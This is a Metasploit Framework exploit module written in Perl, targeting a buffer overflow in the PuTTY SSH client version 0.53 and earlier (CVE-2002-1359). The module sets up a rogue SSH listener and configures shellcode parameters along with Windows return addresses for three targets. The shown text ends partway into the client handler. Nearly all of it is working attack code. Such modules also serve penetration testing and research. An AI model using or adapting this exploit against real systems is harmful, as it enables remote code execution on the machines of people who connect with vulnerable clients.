##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##package Msf::Exploit::putty_ssh;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use POSIX;
my $advanced =
{
};
my $info =
{
'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net' ],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a buffer overflow in the PuTTY SSH client that is triggered
through a validation error in SSH.c.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2000', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'SSHDPORT' => [ 1, 'PORT', 'The local SSHD listener port', 22 ],
'SSHSERVER' => [ 1, 'HOST', 'The local SSHD listener host', "0.0.0.0" ],
},
'AutoOpts' => { 'EXITFUNC' => 'process' },
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'MaxNops' => 0,
'Keys' => [ '-ws2ord', '-bind' ],
},
'Refs' =>
[
[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
[ 'CVE', '2002-1359' ],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows 2000 SP4 English', 0x77e14c29 ],
[ 'Windows XP SP2 English', 0x76b43ae0 ],
[ 'Windows 2003 SP1 English', 0x76AA679b ],
],
'Keys' => [ 'putty' ],
'DisclosureDate' => 'December 16 2002',
};
sub new
{
my $class = shift;
my $self;
$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);
return $self;
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('SSHSERVER'),
LocalPort => $self->GetVar('SSHDPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp');
my $client;
# Did the listener create fail?
if (not defined($server))
{
$self->PrintLine("[-] Failed to create local SSHD listener on " . $self->GetVar('SSHDPORT'));
return;
}
$self->PrintLine("[*] Waiting for connections to " . $self->GetVar('SSHSERVER') . ":" . $self->GetVar('SSHDPORT') . "...");
while (defined($client = $server->accept()))
{
$self->HandlePuttyClient(fd => Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandlePuttyClient
{
my $self = shift;
my ($fd) = @{{@_}}{qw/fd